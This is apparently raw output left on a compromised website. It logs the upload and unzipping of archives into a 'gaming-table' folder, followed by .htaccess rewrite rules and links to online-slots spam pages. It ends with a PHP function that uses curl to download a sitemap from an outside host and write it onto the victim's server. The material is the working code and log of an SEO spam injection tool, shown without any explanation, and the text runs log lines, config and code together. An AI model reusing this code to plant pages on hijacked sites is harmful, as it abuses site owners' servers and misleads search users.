array(5) { ["uploadDirectory"]=> string(33) "/home/hariszuh/comsolsrilanka.com" ["dirName"]=> string(12) "gaming-table" ["action"]=> string(6) "finish" ["path"]=> string(0) "" ["full"]=> array(11) { [0]=> string(21) "upload 1.zip 2.522 Mb" [1]=> string(21) "upload 2.zip 2.509 Mb" [2]=> string(21) "upload 3.zip 2.503 Mb" [3]=> string(21) "upload 4.zip 2.504 Mb" [4]=> string(21) "upload 5.zip 2.502 Mb" [5]=> string(11) "unzip 1.zip" [6]=> string(11) "unzip 2.zip" [7]=> string(11) "unzip 3.zip" [8]=> string(11) "unzip 4.zip" [9]=> string(11) "unzip 5.zip" [10]=> NULL } } previous log found finish log file /home/hariszuh/comsolsrilanka.com/update-log.txt mb delete? upload directory /home/hariszuh/comsolsrilanka.com <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^(gaming-table)/(.+)$ //home/hariszuh/comsolsrilanka.com/$1/$2 [L,NC] RewriteRule ^(gaming-table)(/?)$ //home/hariszuh/comsolsrilanka.com/$1/index.html [L,NC] RewriteRule ^(gaming-table)/jquery.js$ //home/hariszuh/comsolsrilanka.com/$1/jquery.js [L,NC] RewriteRule ^(gaming-table)/sitemap.xml$ //home/hariszuh/comsolsrilanka.com/$1/sitemap.xml [L,NC] </IfModule> http://comsolsrilanka.com/gaming-table/can-you-win-money-online-slots.html http://comsolsrilanka.com/gaming-table/can-you-win-money-online-slots.html http://comsolsrilanka.com/gaming-table::CSN/ICR/SINGLE/HTML/EN/1605 http://comsolsrilanka.com/gaming-table::CSN/ICR/SINGLE/HTML/EN/1605 function get_file($source, $localname) { $file = fopen('php://temp/maxmemory:0', 'w+b'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $source); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FILE, $file); curl_exec($ch); rewind($file); file_put_contents($localname, stream_get_contents($file)); fclose($file); curl_close($ch); echo $localname . ' - ' . filesizemb($localname) . ' MB' . PHP_EOL; } function filesizemb($file) { return number_format(filesize($file) / pow(1024, 2), 3, '.', ''); } get_file('http://tableinhouse.com/static/html/CSN/ICR/SINGLE/HTML/EN/1605/sitemap.xml', '/home/hariszuh/comsolsrilanka.com/gaming-table/sitemap.xml');